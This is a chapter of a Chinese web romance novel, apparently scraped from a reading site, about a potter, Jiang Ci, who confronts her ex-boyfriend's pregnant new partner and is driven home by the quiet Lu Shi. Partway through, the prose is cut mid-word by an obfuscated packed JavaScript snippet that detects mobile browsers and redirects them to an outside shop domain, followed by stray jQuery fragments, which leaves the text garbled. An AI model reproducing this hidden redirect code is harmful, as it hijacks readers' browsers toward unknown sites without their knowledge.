鹭时一身黑色长款大衣,长身而立。英挺的五官,在伞下,在冷雨夜里,更显清冷。冷得像刚参加葬礼回来。
别说鹭时,江瓷自己也差不多。工作室有什么穿什么,实在无心搭配。她自己也是一身黑衣黑裤,脸再涂脂擦粉,可以双双cos黑无常。
行李箱碾过碎石子路,鹭时侧身,让开小栅栏门的道路。伞面倾斜几分,遮挡住被寒风吹歪的雨滴。
“你怎么……”江瓷保持营业的惯性思维,心里一咯噔,“是不是陶艺品有什么质量问题?”
鹭时却摇头,说都很好。
“那怎么这个时间点过来了?”
鹭时单手抄兜,一时不知该如何解释。他今晚本该去赴久未联系的高中同学的邀约,抵达包间门口,却不想进了。
站在门口听了会儿传来的谈笑,服务生在一旁提醒,鹭时欠身说抱歉,转身离开。
回到车里,给高中同学发去短信,便驱车驶离停车场。手机里的导航,还停留在送俞静前去文创园的路线。
没再切换目的地,开到哪儿算哪儿。
鹭时盯着文创园大门,一首歌时间结束,拿伞下车。
雨滴砸落地面,炸开一朵朵水花,步子很稳,一步一个脚印,停在工作室前。正好对上江瓷背对锁门的削薄身影。
“想过来挑一套餐具,看来来得不是时候。”鹭时垂眸落在她手里的行李箱,“要出远门?”
“没有,准备回家一趟。”江瓷伸手阻挠被风吹乱的鬓发,“要不,你等一会儿,我现在开门?”
“下次吧。”鹭时说。
见他没有坚持,江瓷也就此作罢。说实话,这一刻,她赚钱的想法为零,也顾不上顾客至上。寒风冻得入骨,她现在还真就想回家换上一身暖和的衣裳。
不知是不是到了年纪,不如二十来岁刚毕业时抗冻。身上柔软的羊绒大衣,抵挡不住往里透的凛风。幸亏有薄薄唇釉,能遮盖住被冻得有些乌青的唇。
两道脚步声不疾不徐,伴着行李箱轱辘压过过潮湿路面的声音,一路无言至停车场。
“顺路送你一趟?”
顺路?江瓷记得他就住在附近,她从打车软件中抬起头,蜷了蜷冻得发麻的指尖,藏进衣袖:“我打车就行。”
“下雨了,应该不太好打车。”鹭时握着伞柄,神情未变,“而且荔城就这么大,去哪儿只是一脚油门的事儿。”
这点倒是被鹭时说中。文创园门口没几个人,打车排队却排到六十开外。最近的地铁口在八百米之外,江瓷实在是不想再多走一程。有些为难地搓搓眉尾,心生顾虑。
江瓷动了动脚,还未来得及答复,被一道斜后方传来的女声打断——
“江瓷。”
江瓷扭头一瞧,本就没什么精气神的眉眼瞬间跃至凛冬,温度骤降,比裹挟雨滴的风还要冷上几分。
“抱歉。”杨晴撑一把透明的长柄伞,单手缴着neverfull的肩带,“我刚好看到你们出来,私自跟上了你们。昨天学长的事……”
学长?
还真是有情趣。
眼前这位,正是唐嘉木的研究生学妹,图书馆三十秒文学的当事人之一,旁若无人插足她和唐嘉木感情的第三者。照这个架势,两人目前应该还是男女朋友的关系。
“江瓷,能借一步说话吗?”
杨晴低垂眼睫,柔下声调,一副小白花模样。在不知情的外人看来,江瓷才是不明事理的人。
“我上车等你。”
鹭时识趣,想给二人留下空间。江瓷悄悄拽他,试图留下证人,她还真怕杨晴又讹上她。闭了闭眼,暗骂一声这俩癫公癫婆能不能别老阴魂不散。
“聊别的不太方便。”她说,“不过你来得正好。”
“怎、怎么了?”杨晴脚下的步子不自觉后退一小步,又挺直脊骨。
“唐嘉木昨天在我工作室大闹一通,打碎了一个花瓶。原价460,我给你们打9折,414,再给你们抹个零,410就行。”江瓷冷言道。
杨晴的五官其实很好看,眼尾微微下垂,平时看着就带着点无辜,此刻更显楚楚可怜。
可惜江瓷不是什么怜香惜玉的人,说着,点开微信收款码:“你们俩也算一家人了,你赔也一样。要是不相信,可以给你看监控。”
一直谏言不语的鹭时突然握拳抵在唇边,收敛笑意。
杨晴余光往高大的男人身上瞟,说:“江瓷,这是你的新男朋友吗?很——”
“怎么?又看上了?”江瓷打断她,“赶紧的,先扫码。”
到账提示消息通知出现在页面,江瓷收好手机,倒是要看看这对情侣又要闹什么幺蛾子。
“江瓷,我是真的想跟你说句抱歉。”杨晴说,“他昨天多喝了几杯,听以前的同学说,你自己开了工作室,想过去看看。”
为什么道歉?为她还是为唐嘉木?她在心底讥笑,脸上也掩不住讽刺:“闹事的是他,来道歉的是你?”她轻掀眼帘,“实话和你说吧,你的道歉我不接受。哪怕唐嘉木现在就在我面前,给我下跪,我也同样不会接受。”
江瓷直呼晦气,早八百年前就分手,还时不时到她眼前来蹦跶。在北城也就算了,没想到回荔城还能被膈应到。
杨晴没直接回答,只说:“我怀孕了。”她苦涩地扯了下嘴角,脸上毫无欣喜。
江瓷环抱双臂,站在鹭时为她撑起的伞下,不语。自己种的树,不管结什么果,都得自己受着,不是吗?
她彻底没了耐心:“噢,祝你们幸福美满。”
-
出风口嗡嗡吹着热风,鹭时又调高几度。刚才他接过江瓷的行李箱,不小心触到她的指尖,一片冰凉。
热风在车内循环,江瓷僵硬的四肢慢慢缓过劲来。
黑色suv滑进主干道,鹭时开口:“还以为你会劝她。”
江瓷哼了声:“才不劝呢,我可不是什么好人。没听说过一句话吗,尊重她人命运。”
鹭时点评:“很洒脱。”
洒脱不过是为了及时脱身止损,和唐嘉木的爱情长跑,算是她的一段人生污点,江瓷自嘲。
鹭时摇头:“我觉得不是。”
江瓷扭头侧目。
“勇敢地喜欢一个人,是一件很……”鹭时回忆一番,斟酌语言,“很棒的事情。是他不会珍惜这份珍贵的礼物。”
江瓷挑眉,没想到他会说出这么一番挺小女生心思的话:“很鸡汤。”
“有安慰到你吗?”他没有哄女生的经验,只能现学现卖,“网上搜出来的高赞回答。”
江瓷噗嗤一笑:“你现搜的吗?”
“嗯。”鹭时回答得一本正经。
江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042271|148910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瓷笑了好半天,慢慢才安静下来。见到杨晴的糟糕心情,比满天阴霾散得快,放松不少,她嘴角挂着止不住的笑意。
鹭时挺有意思,直男得莫名可爱。
-
大学城出岛方向,沿途一路高架,走辅路进城后,车速降了下来。
一路过来,江瓷发现鹭时的性格与他那张脸,及其相符,话并不多。除开之前见过的几次面,这是头一次独处一隅,江瓷也不好多问。还好车载广播里,主持人的捧哏,活跃了气氛。
拐过店铺林立的街角,已经能窥见小区低矮褪色的浅灰色墙体。江瓷一家住的小区就坐落在老城区里。小区单调的拱门还是二十年前的风格,毫无设计美感可言。
不起眼的牌匾就挂在保安室门边,哪怕更换一块又一块,也抵挡不住风吹日晒与岁月的侵蚀,有一半已经斑驳掉漆,依稀能辨认得出上面的字体——
荔城师范附中教师生活区。
鹭时瞥向牌匾,又飞快看一眼江瓷:“你……住在这里?”
“嗯。我爸是附中初中部的老师。”江瓷说,“在门口停就好。”
减速带晃动,鹭时问:“哪个单元?”
“……16单元。”
小区里的单元楼有些混乱,谁能想到16单元竟然跟8单元挨一块,活像胡乱在外墙随意涂了个数字一般。
没等江瓷提醒,鹭时却熟门熟路,在第一个路口右拐,方向盘打得毫不犹豫,直接在单元楼停下。
江瓷愣了下神,开玩笑道:“我打车经常碰上不认识路的司机,你不会在这里住过吧?”
脑海里的回忆被牵出,鹭时说道:“嗯,确实住过一段时间。”
江瓷微张着嘴,一时语塞。真被她说中了?
“就在8单元301。”鹭时说,“高三在这里住过一年。”
江瓷没忍住笑了下:“那还真巧。”
“嗯,真巧。”鹭时松开握方向盘的手,抬眼看向黑着灯的那套房子。他也没料到,他和江瓷之间,竟能从千丝万缕中寻到如此多的偶然性。
“今晚,谢了。劳烦你送我一趟。”江瓷解开安全带,手碰上车门把手,露了条缝,冷风伺机而入。
“江瓷。”这是鹭时第一次喊她名字。唇齿轻碰,很清脆。他莫名想起儿时,从海边拾来贝壳串成的风铃,微风轻拂,叮当作响,“那个杯子……可以也给我打九折吗?”
江瓷旋即笑开,眼尾轻弯:“白送的不要,非得往外掏钱?”
鹭时低沉道:“受之有愧。”
“昨天看你挺喜欢的,就自作主张给你包起来了。”江瓷本意其实是想为那天相亲坐错位置而赔礼道歉。两人实在不熟,请回一顿饭又显得唐突,且找不到合适的理由,“要是知道你今天过来,就让你自己挑了。”
“看来我确实来晚了一步。”鹭时认真看向她,“谢谢你的杯子。”末了他又补充,“我很喜欢。”
“喜欢就好。我先上楼了,你开下后备箱,行李箱我自己拿就行。”江瓷下车,对驾驶座的人说完,合上车门。
话是这么说,可骨子里的教养,不允许他这么做。鹭时稍晚江瓷一步下车,腿长,速度比她还快一些。
鹭时将行李箱交到她手里:“晚安。”
“你也是。”
江瓷话音刚落,一道强光照在两人身上。